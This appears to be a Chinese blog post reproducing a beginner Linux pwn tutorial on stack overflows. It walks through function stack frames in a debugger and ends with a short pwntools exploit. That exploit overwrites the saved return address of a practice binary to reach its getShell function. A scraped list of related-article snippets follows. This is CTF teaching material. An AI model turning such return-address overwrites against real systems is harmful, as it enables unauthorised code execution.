i春秋linux_pwn入门教程复现之栈溢出基础

演示进程总览

1:

main函数

2:

hello函数

3:

getShell函数

函数的入栈和出栈

1:

F2断点于call hello

启动IDA远程调试F9运行

EIP=0x080484D9,保存着下一条将要执行的命令、ESP=0xFF80EA90,保存着栈顶地址、EBP=0xFF80EA98,保存着栈底地址。

2:

验证EIP始终指向下一条将要执行的命令:

修改EIP的值为call hello下的【mov eax,0】对应的地址看是否跳过call hello

F9运行

IDA卡死,远程动态调试失败。【动态调试还是选择OD或者gdb合适,IDA用作静态分析还行】

采用gdb-peda验证

查看eip地址

运行查看

3:

验证栈的特征为向低地址生长

当前EBP=0xffffd138,ESP=0xffffd12c。

当前EBP=0xffffd138,ESP=0xffffd128。

从两张图片看,ESP指向栈顶,且向低地址生长。EIP不停压入栈中,使得ESP不断减4,指向新栈顶。

栈的另一个特征为后进先出(先入后出),针对存储于栈的元素。

4:

函数的入栈

当前main函数,即将执行hello函数(0x80484d9),执行完hello函数后下一条命令为0x80484de

进入hello函数,EIP执行hello函数的第一条命令,EBP=0xffffd168,ESP=0xffffd15c。

ESP中保存着前面还没进入hello函数的下一条命令0x80484de,入栈。

继续执行,原ESP-4后,新ESP=0xffffd158,指向新栈顶。

ESP中保存着原EBP的值=0xffffd168

继续执行,【mov ebp,esp】把当前ESP的值=0xffffd168赋给ebp。

EBP保存着当前的栈底,进入栈中。

继续执行,通过【sub esp,0x18】拓展栈帧,同时指向新栈顶。当前EBP=0xffffd158,ESP=0xffffd140。

当前栈中保存着原EIP和原EBP。

栈底和栈顶保持不变,【mov DWORD PTR [ebp-0xe],0x0】和【mov DWORD PTR [ebp-0xa],0x0】为部署0x00到栈中。

通过【sub esp.0x4】(ESP=0xffffd13c),开辟新栈帧。

【push 0x64】,向栈内压入0x64,ESP=0xffffd13c-4=0xffffd138指向0x64。

指定一个地址给eax,然后将eax压入栈中,接着压入0x0。同时ESP指向新栈顶。

执行read函数,向栈中输入8个A

当前函数栈帧分布为:

eax保存着enter,ebx和edi都保存着0x0,edx保存着0x64,ecx保存着输入的局部变量8个A。其在0xffffd146。

继续执行,栈顶ESP变化,寄存器变换数值,执行print函数。

5:

函数的出栈

执行leave命令,回到【sub esp,0x18】拓展栈帧,EBP=0xffffd158保存着原EBP数据用于即将恢复,ESP=0xffffd140的状态。

执行ret命令,回到刚进入hello函数的状态,EBP恢复=0xffffd168,ESP=0xffffd15c,其内保存了原EIP数据(下一条要执行的命令)。

此时栈帧被销毁。即将回到main函数。

EBP和ESP和EIP都恢复到main函数状态。

6:

函数的入栈和出栈全过程图示

POC

根据read(0,&buf,0x64),其在栈中的布局为下图,并且局部变量输入的起始地址是0xffffd146:

那么从老EIP保存的地址到局部变量输入的起始地址,一共是0xffffd15c-0xffffd146=hex(22)=0x16个字节。

由于输入的空间为0x64故,当输入0x16的数据后,后面的4个字节就会覆盖保存的EIP(32位故为4个字节)

EXP

既然我们可以覆盖保存的EIP,意味着就可以劫持进程的运行流程,使其可以执行我们想要的功能(例如getShell函数)

查找getShell中的地址

1

2

3

4

5from pwn import *

p = process('./hello')

payload = 'A'*0x16+p32(0x804846b)

p.sendline(payload)

p.interactive()

Linux pwn入门教程,i春秋linux_pwn入门教程复现之栈溢出基础相关推荐

  1. Linux pwn入门教程——CTF比赛

    Linux pwn入门教程(1)--栈溢出基础 from:https://zhuanlan.zhihu.com/p/38985585 0x00 函数的进入与返回 要想理解栈溢出,首先必须理解在汇编层面 ...

  2. c# 定位内存快速增长_CTF丨Linux Pwn入门教程:针对函数重定位流程的相关测试(下)...

    Linux Pwn入门教程系列分享已到尾声,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  3. Linux pwn入门教程——格式化字符串漏洞

    本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...

  4. linux内核二当家,Linux PWN从入门到熟练(二)

    前言 上回说到,如何利用程序中system函数以及bin/sh字符串来进行pwn.这里我们会介绍,如何在栈可执行而system函数以及参数没有的情况下,如何自己布置payload进行pwn.此外,还提 ...

  5. Linux PWN从入门到熟练

    最近在复习pwn的一些知识.主要涉及到当堆栈开启了保护的时候,我们不能够直接将shellcode覆盖到堆栈中执行,而需要利用程序其他部分的可执行的小片段来连接成最终的shellcode.此小片段就是g ...

  6. linux安装ppt教程视频教程下载,Linux教程ch2Linux安装及入门.ppt

    Linux教程ch2Linux安装及入门.ppt (68页) 本资源提供全文预览,点击全文预览即可全文预览,如果喜欢文档就下载吧,查找使用更方便哦! 29.9 积分 第二章 Linux安装及入门 Li ...

  7. python快速编程入门黑马-新手如何快速入门Python编程?/开发python入门教程

    Python从入门到实践的教程是什么? 第一阶段Python与Linux数据这是Python的入段,也是帮助零基础学员打好基础的重要阶段,让零基础学员可以具备基础的编程能力,并掌握MySQL进阶内容. ...

  8. 不知道如何入门编程?最全在线教程网站汇总来了,还不赶快收藏

    程序员是一个需要不断学习的职业.幸运的是,在这个互联网时代,知识就在那里,等着我们去获取. 作为一个"分享从未停止,学习从未开始"的博主,秉承着好东西不能独享的态度,把收藏的学习网 ...

  9. nas java_小白入门NAS—快速搭建私有云教程系列(一)

    什么是NAS 在日常的工作生活中,我们有大量的资料.文件需要存储在电脑或者其他终端设备中,但是这种方式需要电脑配备高容量的硬盘,而且需要随时随地的带着,这样是不是很麻烦? 那么,今天,我来介绍一种家庭 ...

最新文章

  1. 将Byte数组转化为String
  2. android 仿人人网滑动侧边栏
  3. java的注释、关键字、标识符、变量常量、数据类型、运算符、流程控制等
  4. 必须声明标量变量 @sum_level。_ES6系列—新的变量声明方式
  5. 安装低版本的R语言、和自行下载安装各个版本的R语言包、以及多环境运行R
  6. Spark学习笔记:使用RDD
  7. js去掉第一个换行符_通过异步迭代简化Node.js流程
  8. 停电导致IIS问题,解决inetinfo的CPU占用很大
  9. Pure-Ftp:基于虚拟账号的FTP服务器
  10. Xcode使用小技巧-filter查找功能和查看最近修改的文件
  11. Android之Handler,举例说明如何更新UI
  12. # 研究杂感 × VOSviewer(第四辑)
  13. android支持wifi11ad,WiFi“千兆”必杀,802.11ax/802.11ad标准探秘
  14. ireport 循环_iReport制作报表1:iReport Designer的使用
  15. 移动磁盘数据错误循环冗余检查,要怎样恢复数据
  16. 街霸四高难度连技模式全攻略
  17. MT7686芯片资料手册
  18. 2018年物联网趋势
  19. 文华编程是c 语言吗,华中科技大学文华学院级软件工程c语言.docx
  20. vue3+vite3+vant搭建移动端简易模版

热门文章

  1. Python Turtle画分形树理解递归
  2. Spark在文本统计中的简单应用
  3. Spring(1)-IOC
  4. TensorFlow 基本使用
  5. 案例解释图像傅里叶变换的幅度谱和相位谱的以及反变换
  6. Div+CSS布局入门教程(三) 页面顶部制作之一
  7. 每天进步一点点《ML - K-means》
  8. oracle listener启动问题
  9. numpy.tile作用,语法,参数分析以及举例
  10. 循环序列模型 —— 1.11 双向神经网络